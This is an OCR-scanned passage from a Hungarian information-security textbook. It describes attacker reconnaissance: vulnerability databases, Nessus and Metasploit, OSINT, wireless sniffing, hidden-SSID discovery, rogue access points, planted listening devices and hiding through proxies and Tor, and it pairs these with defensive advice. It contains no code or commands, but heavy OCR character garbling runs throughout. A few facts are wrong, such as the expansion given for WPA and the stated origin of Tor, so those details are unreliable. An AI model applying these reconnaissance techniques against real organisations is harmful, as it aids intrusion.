gyartd tudomasara hoz a felfedezdje. A gyarto a sériilékenységet javitja, biztonsagi javitast — security
patch — bocsat a szoftvereket felhasznalok részére vagy ugynevezett workaround-ot javasol a sérii-
lIékenység kihasznalasanak kockazatanak csokkentésére. A javitas telepitése vagy az ezutan a szoft-
vert felhasznal6 feladata és feleldssége. A feltart sériilékenység ezutan keriil publikalasra. Bizonyos
esetekben ettdl eltérd lehet a sériilékenységek publikalasa €s ez megeldzi a szoftverben taldlhatd,
kihasznalhat6 hiba javitasat.

Sok szoftvergyarto és internetes szolgaltatast nyu;jtod tarsasag tart tizemben kincsvadasz ,,Bounty
Hunter” programokat, melyek révén, ellentételezésben részesitik a sériilékenységek megtalaloit, be-
jelentdit. Ezzel a szoftveriik biztonsagosabba valik, kevesebb a bekdvetkezési valoszinlisége annak,
hogy valaki fel nem tart sériilékenységet kihasznalva kart okoz.

Bizonyos esetekben a sériilékenységek a javitas nélkiil keriilnek publikalasra, amely a feltart sérii-
Iékenységet tartalmazo szoftvert hasznaldkra jelenthet oriasi veszélyt. Nem publikalt sériilékenysé-
geket pedig a ,,fekete piacon” is be lehet szerezni.

Sériilékenységek ismerete a felhasznalt szoftverekkel kapcsolatban nem csak a tamadok érdeke,
de az informatikai rendszereket tizemeltetoké is. Tobbek kozott az alabbi adatbazisokbdl lehet tajé-
kozddni a szoftveres sériilékenységekrol és azok megsziintetésének modjarol:

CVEDETAILS — a weboldalon — https://www.cvedetails.com — elérhetdek a publikalt sériilékeny-
ségek. A weboldalon keresztiil elérhetd indexelt adatbazisban keresni lehet gyartd, szoftver és egyéb
keresOszavak alapjan. A sériilékenységeket osztalyozzak, meghatarozzak a sulyossagukat és hatasu-
kat, ez alapjan 0-10 koz¢ soroljak be.

6 https://logrhythm.com/blog/a-technical-analysis-of-wannacry-ransomware/ (utolso let6ltés: 2018.09.20.)
7 https://www.cvedetails.com/cve/cve-2017-0143 (utolsé let6ltés: 2018.09.20.)
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5. dabra. Forras: https://'www.cvedetails.com

EXPLOITDB — a szajton — https://www.exploit-db.com — elérhetdek tobbek kozott a publikalt sériilé-
kenységekhez irt PoC (Proof of Concept) dokumentumok, scriptek, amelyekkel egy-egy sériilékeny-
ség konnytiszerrel kihasznalhato lehet. Ezen kiviil tartalmaz leirasokat egy-egy sériilékenység ki-
hasznalasardl illetve cikkeket, irdsokat egy-egy sériilékenység kihasznalasarol, a tamadas Iépéseirdl,
Osszefiiggésekrol, a mikodés analizisérdl, amelyek alapjan novelhetd az informatikai vagy haldzat
biztonsag.
Vulnerability, azaz sériilékenység informaciokat tovabbi oldalakrdl is be lehet szerezni:
* Secunia: https://secuniaresearch.flexerasoftware.com/community/research/
* NVD: https://nvd.nist.gov
» EU-CERT: https://cert.europa.eu/cert/filteredition/en/CERT-LatestNews.html
* GOVCERT: http://www.cert-hungary.hu
Sériilékenységekre — és azok javitdsidra — vonatkozé informacidkat a szoftver gyartok rendszeresen
kozzétesznek a weboldalaikon.

5.3.2. Sériilékenységek feltirdsa

A tdmadasok felmérésekor, informcidgylijtéskor a tdimado a legtobb informaciot igyekszik dsszegylij-
teni a tarsasag informacos rendszereirdl és ezekhez hozzatartozik az elérhetd szolgaltatasok sériilé-
kenységeinek keresése is.

A feltart és publikalt sériilékenységek ismertetd jegyei alapjan automatizalt eszkozzel is lehetséges
ezek feltarasa, illetve annak meghatarozasa, hogy az adott sériilékenység az informatikai rendszerre
nézve jelent-e fenyegetést. Az egyik legelterjedtebb® sériilékenység feltarasra hasznalt szoftver a
NESSUS. Ezzel az eszkozzel sériilékenységek mellett konfiguracids hidnyossagokat és rosszindulatu
szoftvereket is fel lehet tarni az informatikai eszk6zokon. A széleskorii lefedettség mellett tartalmazza
a legfrissebb sériilékenysegeket, amellyel a feltart hianyossagok kockazata is becsiilhetd.

88 https://www.tenable.com/products/nessus/nessus-professional (utolso let6ltés: 2018.09.20.)
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6. abra. Forras: https://www.tenable.com/sites/all/themes/tenablefourteen/img/17/nessus-pro-screen.jpg

5.3.3. Sériilékenységek kihaszndldasa

A tdmadas célpontjardl gytjtott halozati, kiszolgald, szoftver, banner és egyéb informaciok birtoka-
ban ¢és a sériilékenység informaciok alapjan mar felépithetd egy, akar tobb 1épcsds tamadas, amely
kivitelezéseéhez az egyik elterjedt és sokak altal hasznalt eszkdz a metasploit keretrendszer. A keret-
rendszerszer ingyenesen elérheto.

Ahogy a publikus sériilékenység informaciokat, ugy a Metasploit keretrendszert is kdzosségi ala-
pon fejlesztik, és a rendszeres frissitések lehetdvé teszik, hogy a legfrissebb, elérhetd exploit informa-
ciokat lehessen felhaszndlni. A keretrendszer segitségével dsszeallithato a sériilékenységet kihasznalo
csomag.

6. Szervezeti informaciok gyijtése
6.1. Website megosztott adatok gyiijtése
Nem minden informdci6 sziikségszerien techikai jellegtli, ezért fontos, hogy feltarasra keriiljon, ho-

gyan mukodik a szervezet. Ezek az informacidk a munkatarsakrol, a belsé miikodésrol, projektekrol
vagy egy¢éb adatok a tdmadas kivitelezése szempontjabol nagyon hasznosak lehetnek.
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Az informaciogytjtés alapvetd eleme, hogy a tamadas célpontjanak szerteagazd weboldal-halojan
talalhato adatokat is begytijtik. Az informacidgytijtés célja, hogy feltérképezzEk a szervezetrdl altaluk
kozzétett informacidkat, mint példaul telephelyi adatok, hirek, sajtéanyagok, munkavéllalok adatai
stb. Emellett nemcsak a szervezet weboldalairol, de a médiabol, hiroldalakrol, kapcsolt weboldalak-
ol is Osszegylijtik a hasznos adatokat annak érdekében, hogy a szervezet miikddését, kapcsolatait
meghatarozzak, 6sszekapcsoljak.

A szervezeti informaciok gytijtésének tobb eleme a Social Engineering témakodrébe tartozik. A
jelen fejezetben a technikai aspektusok keriilnek bemutatasara.

6.2. Telephelyi és egyeb informaciok

annak érdekében, hogy meghatarozzak a tovabbi 1épéseket, kiszlirjék azokat a telephelyeket, ahol a
megfigyeléseket, Social Engineering modszereket is bevethetnek.

Ezzel egyiitt a weboldalon elhelyezett informaciokbol a tamado kovetkeztethet arra, milyen pro-
jekteket tervez vagy hajt végre a tarsasag és a projektben résztvevo partnerek listdja is kikovetkeztet-
hetd. Ezen informacidk alapjan az informacidgytijtést kiterjeszthetik a tarsasag részére szolgaltatast
nyujté harmadik felekre.

A tamadas tervezésekor a tdmadod figyelembe veszi azokat az eseteket is, amikor az informa-
ci0 megszerzése esetlegesen egyszeriibb egy beszallitotol vagy szolgaltaton keresztiil megszerezni,
ahelyett, hogy a tarsasdgot tdmadja kozvetleniil. Ilyen kézvetett tAmadasra kivald példa az RSA
céghez torténd betorés,” amelynek valodi célja a Lockheed Martin ipari titkainak eltulajdonitasa
volt, 2011-ben.

6.3. Karrieradatok

Az informaciogylijtés 1épéseként egyebek kozott a tarsasag altal megosztott pozicid leirasokat is
bongészik, hiszen a sikeres tdmadas kivitelezése érdekében hasznos informaciokat tartalmazhatnak.

A tamado szamara a tarsasag karrier oldalain kozzétett allaspalyazati lehetéségek is komoly segit-
séget jelenthetnek. Altalanosan elterjedt, hogy a pozicié leirasok tartalmazzak a keresett szakértelem
leirdsat, ide értve az infrastruktura vagy kliens szadmitogépeken hasznalt szoftvereket, vagy éppen a
tarsasag informatikai infrastruktirajanak tizemeltetési, fejlesztési informéacioit.

Indirekt moédon a tarsasag belsé miikodésérol, felépitésérdl, agazatairol is térképet készithetnek a
karrier oldalon leképezett hierarchidbol, pozicio kategorizalasbol. Tobbek kozott ezekbdl az adatok-
bdl a tamado felépithet egy sikeres Social Engineering tdimadast is.

6.3.1. Automatizalt adatgyiijtés

Az informdaciogylijtésre, kutatdsra sok automatizalt eszkoz elérhetd. Az e-mail adatok kereséséhez
elterjedt a Maltego.

A Maltego egy nyilt forraskodu hirszerzési ¢és igazsagiigyi alkalmazas. Ez egy GUI eszkoz, igy
masképp néz ki. A Maltego olyan informaciogyiijté eszkoz, amely lehetdvé teszi a kapesolatok vizua-
lis megismerését, és arra 6sszpontosit, hogy transzformacios konyvtarat biztositson a nyilt forraskodu
adatok felfedezéséhez, ¢s a grafikon formatumban valé megjelenitéséhez, amely alkalmas a linkelem-
zésre ¢s az adatbanyaszatra.

8 https://isc.sans.edu/forums/diary/Lockheed+Martin+and+RSA+Tokens/10939/ (utolsé let6ltés: 2018.09.20.)
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A Maltego lehetové teszi a halozati és domain informaciok felsorolasat, mint a domainnevek, a
Whois informacidk, a DNS-nevek, a haldzati tartoméanyok, az IP-cimek stb. A Maltego lehet6veé teszi,
hogy felsoroljuk, elérjiik az emberek informaciodit, mint példaul:

* Egy személy nevéhez tarsitott e-mail cimek

+ Egy személy nevéhez tarsitott webhelyek

* A személy nevéhez tarsitott telefonszdmok

* Olyan tarsadalmi csoportok, amelyek kapcsolatban vannak egy személy nevével
* Az adott személyhez tarsitott vallalatok és szervezetek stb

A Maltego lehetdvé teszi, hogy egyszerlien ellendrizze az e-mail cimeket, konnyl kereséssel blo-
gokat cimkeéket és kifejezéseket, meghatarozza a bejovo linkeket a weboldalakhoz,

6.4. Wikileaks

Egyre tobb, bizalmas informécio talalhaté meg a szandékos kiszivarogtatasok altal. Egyik kedvelt
gyljtohelye a ,,Wikileaks”.

A WikiLeaks egy tobbnemzetiségli médiaszervezet és kapcsolodd konyvtar. Julian Assange 2006-
ban alapitotta meg. A WikiLeaks specializdlddott a cenzurazott vagy egyéb korlatozott hivatalos ira-
tok anyagainak, a habort, a kémkedés és a korrupcid nagyméretd adatainak elemzésére és kozzététe-
lére. Eddig tobb mint 10 millié dokumentumot és kapcsolddd elemzést publikalt.

A gyljteményben tobbek kozott e-mail cimek, kapcsolatok utdn lehet kutatni, ezen kiviil nulladik
napos sériilékenységek, levelezések, dokumentaciok is megtalalhatoak, amelyek birtokaban egy ta-
mado, mivel akar pontos szervezeti felderitést is kivitelezhet, hatékonyabban hajthatja végre a tdma-
dast Is a sikeres tamadas nagyobb eséllyel lesz kivitelezve.

7. Lehallgatasok

Az informéci6 gyljtés egyik kedvelt és egyszerli mddja a lehallgatds. A halozaton kozlekedd ada-
tok elkapasaval €s elemzésével egyszerii hozzaférés szerezhetd a kiszolgalok szolgaltatasaihoz, vagy
egyszerien, a kiszolgalohoz vald hozzaférés nélkiil is megszerezhetdek a tamadas céljaul szolgalo
informaciok.

A lehallgatas ellen j6 védelmet biztosit a titkositott kommunikacid, példaul a titkositassal is ellatott
VPN csatorndk vagy a titkositott protokollok hasznalata.

Titkositas nélkiil a halozaton elérhetd kiszolgalokhoz hozzaférést biztositd felhasznalodi nevek, jel-
szavak megszerzése a tamado szdmara szintén hozzaférést biztosit a kiszolgalon talalhato adatokhoz.
Ezen kiviil az eltulajdonitott hozzaférési jogosultsdgokkal akar tovabbi jogosultsagot is lehet szerezni
ugy, hogy kihasznaljak az alkalmazas mar feltart sériilékenységét.

A lehallgatashoz tobbek kozott a ,,tcpdump”, ,,wireshark”, ,,winpcap” vagy ,,Aircrack-NG” szoft-
verek hasznalhatoak.

7.1. Vezeték nélkiili halozatok felderitése

A technika és a technologia fejlodése elterjedté tette a vezeték nélkiili halézatok hasznalatat. Elterjedt
a vezetékes ¢és vezeték nélkiili halozatok parhuzamos hasznalata a jobb mobilitas és az erdforras-ta-
karékossag érdekében.

A vezeték nélkiili halozatok térnyerésével a fizikai biztonsaggal tdmogatott végpontok magasabb
védettsége eltlint, ezzel egyiitt a vezetékes haldzatokkal egyenértékili védelem megvalositasa eldtérbe
kertilt a vezeték nélkiili halozatok esetén. Tamadéasok sordn ezeket a vezeték nélkiili haldzatok védel-

crer
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A vezeték nélkiili halozatok sok esetben — megkonnyitve az irodan beliili mobilitast — hozzaférést
biztositanak a védendd infrastruktirahoz és ezt nemcsak az irodak falai kozott, de a kozos terekben,
sok esetben publikusan hozzaférhetd, nyitott teriileteken is elérhetéek, mint az irodaépiilet alatt el-
helyezkedo kavézo. Ily modon felderithetové valhat a tarsasag vezeték nélkiili halozata és meghata-
rozhatova valik, milyen eszk6zok biztositjak a miikodését, ki a gyartdja a hozzaférési pontoknak és
feltérképezhetd a jelerdsség alapjan, hogy a teriilet lefedettsége hol erdsebb, hol gyengébb.

7.1.1. Vezeték nélkiili halozatok megfigyelése

A vezeték nélkiili halozatoknak sok elénye van, de sajnos ezek az elénydk a tamadot is segithetik a si-
keres tdmadas elokészitésében. Az elérhetd vezeték nélkiili halozatok listajanak megszerzése ugyanis
a vezeték nélkiili halozatok hozzaférési pontjai (access point — AP) jol azonosithatéak. Az internetrdl
let6lthetd, kiillonbozo, haldzati vizsgalatra kifejlesztett programok elérhetéek, melyekkel a vezeték
nélkiili halozatok kiilonb6zd adatai valnak lathatova.

A lenti képen egy KisMac vizsgalat eredménye lathato, amelyrdl leolvashatoak az elérheté SSID

7. abra. Forras: Sajat abra

Ezzel a modszerrel, azaz a Wi-Fi halozatok felderitésével, osztalyozasaval miikodik az ugynevezett
»WarDriving” is, melynek célja, hogy lokacios adatokkal kiegészitve rajzoljon egy térképet, amelyen
feltiintetik a kiilonb6z0, elérhetd vezeték nélkiili haldzatokat. A térképes informacids adatbazis tob-
bek kozott tartalmazza, hogy az elérhetd halozatok milyen titkositassal — vagy €pp titkositas nélkiil —
¢érhetdek el.

Vannak tipikusan vezeték nélkiili halozatok jelszavainak feltorésére optimalizalt szoftverek, azon-
ban sok esetben méar a Wi-Fi lehallgatasra alkalmas programokban is megtalalhatéak azok az algorit-
musok, amelyek a gyenge titkositassal ellatott hal6zatokhoz gyors — és illetéktelen — hozzaférést biz-
tosithatnak. Ilyen elterjedt szoftverek, tobbek kozott az aircrack-ng, a KisMet (KisMac) és a Reaver.

Titkositas nélkiil hasznalt vezeték nélkiili hozzaférések konnyedén lehallgathatoak, ezért keriilt
bevezetésre a WEP — Wired Equivalent Privacy — amely célja az UTP kabelezéssel azonos védelem
megvaldsitasa a vezeték nélkiili haldzaton, titkositassal. A WEP™ megoldas RC4 titkositast hasznal,
amely a technika fejlodésével rovid 1don beliil, a leghosszabb kulcs hasznalataval 1s 60 000 csomag
birtokaban, bruteforce modszerrel torhetd és hozzaférhetéve valik a halozat. Ez a jelenlegi technolo-
giak hasznalata mellett par mésodpercet vesz igénybe.

0 https://en.wikipedia.org/wiki/Wired_Equivalent Privacy (utolso let6ltés: 2018.09.20.)
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A WERP titkositast a WPA — Wi-Fi Protected Area — megoldas valtotta fel a TKIP algoritmus hasz-
nalataval, amely jelenleg mar szintén elavultnak szamit és bevezetésre keriilt a WPA2 megoldas,
amely AES titkositast hasznal a hal6zati forgalom bizalmassaganak megovasa érdekében.

A vezeték nélkiili halozatok védelmének érdekében tobbféle mddszert vezettek be. Nemcsak a
halézat SSID-jat (Service Set ID) kell ismerni, mint felhasznal6i nevet, de sziikséges a hozzaféréshez
jelszo is, amely az ajanlott WPA2 hasznalata esetén akar 64 karakter is megadhato. Emellett korla-
tozhatdak a hozzaférd eszk6zok MAC cime alapjan. Enterprise kornyezetben ez kiegésziilhet tantsit-
vany hasznalataval vagy NAC (Network Access / Admission Control) megoldassal.

7.1.2. Rejtett SSID felfedése

A vezeték nélkiili halézatok implementécioja lehetdséget biztosit arra, hogy a haldzatok elérését ne
csak a hozzaférés szabalyozasaval, de az SSID elrejtésével is nehezitse a felderités 1épéseit. Azonban
a Wi-Fi halozatokat elérd kliensek implementacidja lehetdve teszi ezek felfedését.

Ha az elérhetd halozatok felfedése a vezeték nélkiili halozatok lehallgatdsdval nem megvalosit-
hato, akkor a kliensek lehallgatasaval’ lehet elérni a vezeték nélkiili halozatok felfedését. A rejtett
SSID-val rendelkezé Wi-Fi haldzatokhoz torténd automatikus csatlakozasra beallitott kliens eszko-
z0k, amennyiben a vezeték nélkiili halozatokhoz torténd csatlakozas engedélyezett szamukra és a
lehallgatés pillanataban nincs aktiv kapcsolata, igyekeznek a szamukra engedélyezett halozatokhoz
kapcsolodni.

Ezen kapcsolodasi kisérletek esetén a rejtett halozatokat a protokoll szerint rendszeresen megszo-
litjak. Ezen aktiv megszolitdsok a vezeték nélkiili halozatok tiirelmes lehallgatasa esetén felfedhe-
téek, azaz a kliensek elaruljak a kapcsolodasra hasznalt halozatok neveit, fiiggetleniil attol, hogy a
héaloézatok SSID-je rejtett-e vagy sem.

8. abra. Forras: sajat abra

"I https://www.linux.com/forums/small-talk/discover-hidden-wireless-ssid-network-using-kali-linux (utols6 let6ltés:
2018. 09.20.)
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Ezeket az informacidkat felhasznalva a timado Rogue AP felépitésével kozbeékelddhet a vezeték
nélkiili forgalomnak (MITM — Man In The Middle), vagy rosszindulata kddot helyezhet el a kliens
mobiltelefonokon, tableteken, amelyen keresztiil felhasznalo1 nevekhez, jelszavakhoz férhet hozza,
informaciot tulajdonithat el, vagy egyszeriien hasznalhatatlanna teszi a vezeték nélkiili halozat eléré-
sét a kliens szamara, ezzel gatolva a munka végzését.

7.2. Free wifi és net kaveézok

Az ingyenesen hasznalhaté WI-FI szolgaltatdsok magukban hordozzadk a lehetdségét annak, hogy
a szolgaltatast nyu;jto a teljes forgalmat monitorozza, felveszi, elemzi annak érdekében, hogy ezen
halézati forgalmak alapjan hajtson végre sikeres tamadast.

Az ingyenes Wi-Fi szolgaltatasok esetén konnytiszerrel lehet megszerezni nem megfelelden védett
bejelentkezési adatokat, amellyel sikeres tdmadast lehet végrehajtani védett halozatok ellen, bejutva,
eltulajdonitva az informaciot.

Az internethez biztositott, de nem elégségesen védett hal6zatokon egyszeriien kivitelezhetd az
ugynevezett be¢kelddéses tamadas, azaz a ,,Man in the middle”, roviden MITM. Ennek a tdimadéasnak
az a lényege, hogy a tdimado a haldzati forgalomba ¢€kelddik, az dsszes halozati forgalmat elkapja,
lehallgatja, a kliens felé a kiszolgalot, a kiszolgalo felé pedig a kliens forgalmat hamisitja meg. Ezzel
érve el, hogy rajta keresztiilfoly6 forgalomhoz teljes hozzaférése legyen és az adatokhoz hozzaférése
legyen.

Az ingyenes Wi-Fi szolgéltatasok hasznalata esetén ezért nagyon koriiltekintéen kell eljarni, hasz-
nalatukat ha lehet, melldzni kell. Amennyiben nem keriilheto ki a hasznalatuk, Ggy javasolt a védend6
informaciok elérése érdekében VPN haszndlata, illetve olyan titkositott szolgéltatasok igénybevétele,
amely kizarja a MITM tamadas lehetdségét kettd vagy tobb faktoros authentikécié hasznélataval,
példaul a kliens gépen elhelyezett tantsitvany mellett felhasznaldi név és egyszeri, ,,OTP” tipust
jelszo hasznalataval. Emellett minden esetben kiilon figyelmet kell forditani a kiszolgalok megfeleld
azonositasara, azaz a tanusitvanyok ellendrzésére.

Az internetkavézok tovabbi lehetdséget jelentenek a tamadok részére. A bejelentkezésre hasz-
nalt kliens gépeken maradhatnak hatra adatok, amelyek visszaélésre adhatnak lehetoséget. Példaul
weboldalakhoz tartozo felhasznaloi nevek és jelszavak, bejelentkezési azonositok, letdltott adatok.
Mivel a megosztott szamitogépeken semmilyen kontrollt nem lehet gyakorolni a telepitett szoft-
verekre vonatkozodan, ezért megvan a lehetdség arra is, hogy barmilyen koriiltekint6 is az eljaras,
példaul a cache-elt adatok vagy bongész6 informaciok torlése, lehetéség van késdbb, példaul hat-
térben futd billentylizet rogzitd, ugynevezett ,.key logger” adatait kinyerni, amellyel késobb sikeres
tamadas vitelezhetd ki.

Internetkévézok, megosztott gépek felhasznaldsaval szenzitiv informacidk hozzaférése, védendd
halozatokba bejelentkezés nem javasolt.

7.3. Eszkozelhelyezés

Szenzitiv informaciok megszerzése, a halozatba torténd betorés egyik elterjedt forméja a fizikai biz-
tonsag megkeriilésével egy fizikai halozati pontra torténd lehallgatd eszkoz csatlakoztatdsa. Ezzel a
1épéssel mar nemcsak a halozat lehallgatasa, de a sikeres tdmadas is kivitelezhetové valik.

Lehallgat6 eszk6zok bejuttatasa, csatlakoztatasa és felderithetetlenné tétele altal a tarsasag haloza-
tanak hatékony felderitését, jogosultsagok megszerzését, informaciok lehallgatasat, eltulajdonitasat
teszi lehetové. Legegyszerlibb modja targyaldokban, nem feliigyelt végpontokon torténd elhelyezés
vagy nyilt, vendégek szdmara hozzaférhetd folyosokon elhelyezett kozos hasznalati eszk6zok és a
haldzati csatlakozas kozé ekelés.
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Elonye az ilyen tipust eszkoz elhelyezésének, hogy viszonylag rovid id6 alatt nagy mennyiségli
adat birtokaba keriil a timado. Hatranya, hogy komoly Social Engineering felkésziiltséget igényel.
Azaz sziikséges hozza megismerni, feltérképezni a szervezet belsé miikodését, emberekre bizott vé-
delmi megoldasok kijatszasa sziikséges.

Ahhoz, hogy egy lehallgato eszkdz elhelyezéssel mind a fizikai biztonsagi 6vintézkedéseket, mind
az alapvetd halozati védelmi mechanizmusokat megkeriilje a tamado, komoly eldkésziileteket kell
tennie és precizen kell végrehajtania a tdimadast. Nemcsak az eszkozt kell bejuttatnia, de megfeleld
halézati kapcsolatok nélkiil a megszerzett informéciot tartalmazo lehallgato eszkozt ki is kell tudnia
juttatni.

Gyakran erre a feladatra akkumulatorrél mitkodtethetd Raspberry Pi’? vagy hasonld eszkozoket
lehet alkalmazni, amelyek elég kompaktak ahhoz, hogy ne legyenek feltiindek, viszont minden olyan
képességgel rendelkezik, mint példaul a tamado kliens szamitogépe. Képes futtatni a Kali” linuxot és
megfeleld scriptekkel beallithatd a miikddése és akar tavolrol is vezérelhetd.

A Wi-Fi halozat lehallgatésa, illetve rouge AP telepités nem igényel fizikai bejutast az épiiletbe,
ezért a megfeleld haldzat-biztonsagi kontrollok nélkiil sokaig észrevétlen maradhat.

7.4. Csere eszkozok es adattarolok, karbantartas

Ahogy az eszkoz elhelyezés, Gigy a tarsasag altal hasznalt hardver elemek eltulajdonitasa is hordoz
magaban lehetdséget az adatszivargasra, illegalis hozzaférésre.

A kliens szamitogépek eltulajdonitasa mellett a csere eszk6zok, karbantartasra kiildott specialis
hardver elemek adattartalménak illetéktelen kezekbe torténd keriilése is komoly kockazatot jelent a
tarsasag adatainak bizalmassagara nézve. Az ilyen jellegli hozzatérések — ahogy a lehallgato eszkoz
telepitése — komoly eldkésziiletet igényel.

Megfelel6 fizikai biztonsagi 6vintézkedések mellett a munkatarsak figyelmét tudatositod oktatasok-
kal hivjak fel arra, hogy k6zos helységekben — amelyeket vendégek is latogathatnak — a nyomtatasra,
a nyomtatobol szdrmazo papirlapokra kiemelt figyelmet kell forditani. Ezzel szemben a védelem ki-
jatszhato, ugyanis a nyomtatd meghibasodasa esetén a karbantartast végzé konnytiszerrel hozzaférhet
a legutdbbi nyomtatasok adataihoz, hiszen azokat a nyomtat6 — a tipusatol fiiggéen — merevlemezen
tarolhatja. A sikeres informacidgytijtéshez elegendd a merevlemezt megszerezni.

Ugyanigy lehet informaciohoz jutni a leselejtezett informatikai eszk6zok merevlemezeirdl, ha
azokat nem kezelik megfelelden, azaz a selejtezés soran nem fordit a tarsasag kello figyelmet arra,
hogy a hattértarolokat kiilon semmisitse meg.

8. Informaciogyijtés fedett kornyezetbol

Az informaciogytjtés — illetve a tdmadas kivitelezése — magardl az informaciét gyiijtérél vagy a
tamadorol nyomokat hagy maga utan. Annak érdekében, hogy a tdmadas a lehet6 legkisebb informa-
cidval szolgaljon a szervezet informatikai eszkozeit védok részére, a tamadast igyekeznek fedetten
végrehajtani, azaz olyan nyomokat hagyni, amelyek nem teszik lehetdvé a tdimadé forrasanak vissza-
kovetését vagy nagy mértékben megnehezitik azt.

Annak érdekében, hogy ezt kivitelezzék, proxykat vesznek igénybe, vagy tor hal6zaton keresztiil
végzik a miveleteket.

2 https://lifehacker.com/how-to-build-a-portable-hacking-station-with-a-raspberr-1739297918  (utols6  letdltés:
2018. 09. 20.)
3 https://www.kali.org (utolso letdltés: 2018. 09. 20.)
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8.1. Proxy halozatok hasznalata

A proxy olyan eszkdz, amely képes a rajta keresztiil folyd tartalom manipulalasara, ezaltal képes
elrejteni bizonyos adatait a forrasnak. Ilyen adatok lehetnek az IP cim, a bongészo tipusa, de a jogo-
sultsagi adatok is, amellyel egy halozati er6forrashoz kapcsolodik.

A digitalis labnyomok elrejtésének jo6 modja, hogy a szervezet weboldalainak, szolgéltatasainak
feltérképezését a tamado tobb proxy szerveren keresztiil végzi. A tarsasag weboldalainak naploiban a
proxy IP cime keriil bejegyzésre. llyen tevékenységekre legtobbszor az ugynevezett ,,Open Proxy”-
kat hasznaljak. Ezek olyan szolgéltatasok, amelyek véletleniil vagy szandékosan ugy kertiltek bealli-
tasra, hogy internet irdnybol, authentikéacid nélkiil is hasznalhatéak legyenek.

8.2. TOR halozatok

A TOR™ (The Onion Router) rendszer lehetévé teszi az anonim jelenlétet (példaul bongészést) az in-
terneten, valamint nem utolso6sorban a cenzirazott internetes tartalmak megjelenitését (mint példaul
a tartalomsziirés megkeriilését). A neve a miikddési elvébdl adodik, mivel az tobb szinten keresztiil
(,,mint egy hagyma rétegei”) Ujabb titkositasokkal latja el a kezdeményez0 (initiator) csomagjait.

Fejlesztését eredetileg az Amerikai Tengerészgyalogsag kezdeményezte, majd az Electronic Fron-
tier Foundation vette kézbe. Jelenleg a Tor Project iranyitasaban zajlik a fejlesztés 2006 decembere
Ota non-profit tevékenység keretein beliil.

Mint a t6bbi jelenleg hasznalt kis késleltetésti anonim halézat, a Tor is elemezhetd olyan megfigye-
16 altal, aki a kommunikécio mindkét végpontjat latja.

Az ,,Open Proxy” és a TOR halozat is hordoz magaban eldnyt, mint példdul az anonim modon
torténd bongészés lehetdsége, de mindketté megoldasnak megvan a hatranya is, a rajtuk keresztiil
elérhetd savszélessége korlatozott. Ezért a megoldasok nagy valoszintiséggel nem alkalmasak szol-
galtatds-megtagadas jellegli tamadas kivitelezésére.

Mind a TOR halozati végpontokat, mind az ,,Open Proxy” szolgéltatasokat rendszeresen vizsgal-
jak. Az elére mutatod fenyegetettség elleni védelemmel foglalkozé szervezetek ezen informacidkat
szolgaltatasként vagy ingyenesen is elérhetévé teszik. Ilyen példaul a proxy4free”™ vagy ,tor exit
nodes”.” Annak elkeriilése érdekében, hogy fedett halozatokbol torténjen informacid gyiijtés vagy
tdmadas, az ,,Open Proxy” vagy ,,Tor Exit Nodes” IP cimek részére a tarsasadg hatarvédelmét megva-
16sitd védelmi eszk6z0kon a szolglatatasok elérésének korlatozasa sziikséges lehet.

™ https://hu.wikipedia.org/wiki/Tor_(szoftver) (utolsé let6ltés: 2018.09.20.)
> http://www.proxy4free.com/list/webproxyl.html (utolso let6ltés: 2018.09.20.)
6 https://check.torproject.org/cgi-bin/TorBulkExitList.py?ip=1.1.1.1 (utolso letdltés: 2018.09.20.)
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4. OROSZI ESZTER DIANA:
SOCIAL ENGINEERING TECHNIKAK

1. Bevezetés a Social Engineering vilagaba, az emberi tényezo szerepe a célzott
tamadasok Kivitelezése soran

Jelen tananyagrésznek a célja a célzott tamadasok egy specidlis modszerének bemutatasa, melynek
soran a tamado az emberi tényez0 kihasznalasara épiti fel a timadast. A kovetkezo fejezetekben be-
mutatasra keriil ez az igynevezett Social Engineering technika, annak alapjai, hogy miért miikodnek
ezek a célzott megkeresések, illetve, hogy milyen kapcsolatban allhat ez a modszer mas jellegti, akar
kibertamaddassal. Két nagyobb fejezetben megismerkedhet az Olvaso a legjellemzdbb Social Engine-
ering modszerek alkalmazasdval, és természetesen egy kiilon fejezetet kapott a védekezési lehetdsé-
gek tarhaza az informéciobiztonsagi feleldsok, illetve informaciobiztonsagban érintett munkatarsak
vonatkozasaban.

Fontos megjegyezni, hogy bar a bemutatott technikék jelentds része nem ujkeletli, még mindig
alkalmazhatd, illetve a technoldgiai ujdonsagok tiikrében, felhasznaloi szokasok valtozasaval 6ssz-
hangban még tovabb is fejleszthetd. Tekintettel arra, hogy a Social Engineering jellegli megkeresése-
ket sok esetben nagyon nehéz egy tdmadas bekovetkezését kvetden azonositani, ez nem jelenti azt,
hogy nem léteznek, illetve nem alabecsiilend6é a modszer altal megszerzett informaciok jelentosége
sem — sokszor bar nem lehet veliik konkrét kart okozni, de mas tdmadasok kivitelezése Social Engi-
neering alkalmazasa nélkiil koriilményesebb lehet, vagy akar el is lehetetleniilhet.

A legtijabb fenyegetettségi felmérésekben, bar altalaban a kartékony kodok és kifejezetten a ran-
somware-ek kerililnek az els6szamu fenyegetések koz¢, egyre inkabb elétérbe kertilnek a célzott €s
human jellegli fenyegetések is, igy a biztonsagtudatossagi fejlesztések egyre nagyobb szerepet kap-
nak minden téren.

Nézziik hat meg els6 1épésként, mi is a Social Engineering, és miért is alkalmazzak a tdmadok,
illetve hogyan lehet védekezni ellene, mit tehetlink, ha munkavallaldink biztonsagtudatossagat sze-
retnénk fejleszteni. A kdvetkezOkben leirt ismeretek az Irodalomjegyzékben felsorolt szakirodalom,
illetve Social Engineering auditok tapasztalatai alapjan kertiltek 6sszeallitasra.

1.1. Miis a social engineering és miért hasznaljdk a tamadok?

A Social Engineering egy, az emberi tényez6 kihaszndlhato tulajdonsagaira épité tdmadasi forma,
tulajdonképpen olyan technikdk gyiijteménye, mely az emberek befolyasolasara, manipulalasara ala-
pozva teszi lehetdvé bizalmas informaciok megszerzését, vagy éppen egy kartékony program terjedé-
sét és mikodését. Legmegfelelobb definicidja az egyik legismertebb social engineer, Kevin D. Mit-
nick szerint a kovetkez0: ,, 4 social engineering a befolydsolas és a rabeszélés eszkozével megtéveszti
az embereket, manipulalja, vagy meggyozi oket, hogy a social engineer tényleg az, akinek mondja
magat. Ennek eredményeként a social engineer — technologia hasznalatdaval vagy anélkiil — képes az
embereket informdcioszerzés érdekében kihaszndlni.”"

7 Mitnick, 2003.
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Az ilyen jellegi timadasok veszélye tulajdonképpen abban rejlik, hogy ha belegondolunk, az em-
beri tényezd az, ami barmihez hozzafér, és valljuk be, amit a legkisebb erdfeszitésbe keriil atejteni. A
gyakorlati tapasztalatok azt mutatjak, hogy mindig lesz olyan célszemély, aki nem tudja azonositani,
